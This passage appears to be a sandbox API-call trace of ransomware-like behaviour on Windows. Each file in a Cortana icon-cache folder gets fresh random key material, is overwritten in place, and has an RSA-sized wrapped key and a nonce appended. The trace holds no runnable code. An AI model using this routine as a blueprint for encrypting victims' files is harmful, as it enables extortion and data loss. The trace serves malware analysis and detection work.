hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.738] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.738] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.738] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.738] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.739] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.739] CloseHandle (hObject=0x1af4) returned 1 [0180.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8062D437-AF97-40EE-8A69-2AE530BD9C47}", dwFileAttributes=0x80) returned 1 [0180.744] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8062D437-AF97-40EE-8A69-2AE530BD9C47}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8062d437-af97-40ee-8a69-2ae530bd9c47}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.745] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.745] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.746] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.746] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.746] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.746] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.747] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.747] CloseHandle (hObject=0x1af4) returned 1 [0180.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{803254EC-E5AF-441F-BA9E-59FEA741AF56}", dwFileAttributes=0x80) returned 1 [0180.748] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{803254EC-E5AF-441F-BA9E-59FEA741AF56}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{803254ec-e5af-441f-ba9e-59fea741af56}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.749] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.749] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.750] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.750] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.750] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.751] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.751] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.751] CloseHandle (hObject=0x1af4) returned 1 [0180.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.752] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.752] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7D365946-8370-4038-8364-1D85D2D69BF5}", dwFileAttributes=0x80) returned 1 [0180.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7D365946-8370-4038-8364-1D85D2D69BF5}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7d365946-8370-4038-8364-1d85d2d69bf5}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.754] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.754] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.757] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.757] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.758] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.758] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.758] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.758] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.758] CloseHandle (hObject=0x1af4) returned 1 [0180.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.761] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.761] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}", dwFileAttributes=0x80) returned 1 [0180.761] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7CE59AFD-BE4E-4C4F-9D9C-1BFDA6ACEA49}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7ce59afd-be4e-4c4f-9d9c-1bfda6acea49}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.762] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.762] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.781] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.781] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.803] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.803] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.803] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.803] CloseHandle (hObject=0x1af4) returned 1 [0180.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}", dwFileAttributes=0x80) returned 1 [0180.805] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7C4BA71F-A1A6-490C-8B5D-04F319E94F47}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7c4ba71f-a1a6-490c-8b5d-04f319e94f47}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.806] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.806] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.811] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.811] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.811] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.812] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.812] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.812] CloseHandle (hObject=0x1af4) returned 1 [0180.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.813] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.813] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7991069C-F81C-4E00-9CF7-E4893986E7E3}", dwFileAttributes=0x80) returned 1 [0180.815] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7991069C-F81C-4E00-9CF7-E4893986E7E3}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7991069c-f81c-4e00-9cf7-e4893986e7e3}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.815] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.815] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.820] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.820] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.820] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.820] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.821] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.821] CloseHandle (hObject=0x1af4) returned 1 [0180.824] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.824] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.824] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}", dwFileAttributes=0x80) returned 1 [0180.824] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{7939D66A-9DE8-40A2-95E5-950A8ABC8F59}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{7939d66a-9de8-40a2-95e5-950a8abc8f59}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.825] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.825] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.826] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.826] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.826] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.826] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.827] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.827] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.827] CloseHandle (hObject=0x1af4) returned 1 [0180.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.828] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{789219FF-53B5-44A2-8477-EF2C6EBA1B43}", dwFileAttributes=0x80) returned 1 [0180.829] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{789219FF-53B5-44A2-8477-EF2C6EBA1B43}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{789219ff-53b5-44a2-8477-ef2c6eba1b43}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.829] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.829] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.830] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.830] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, 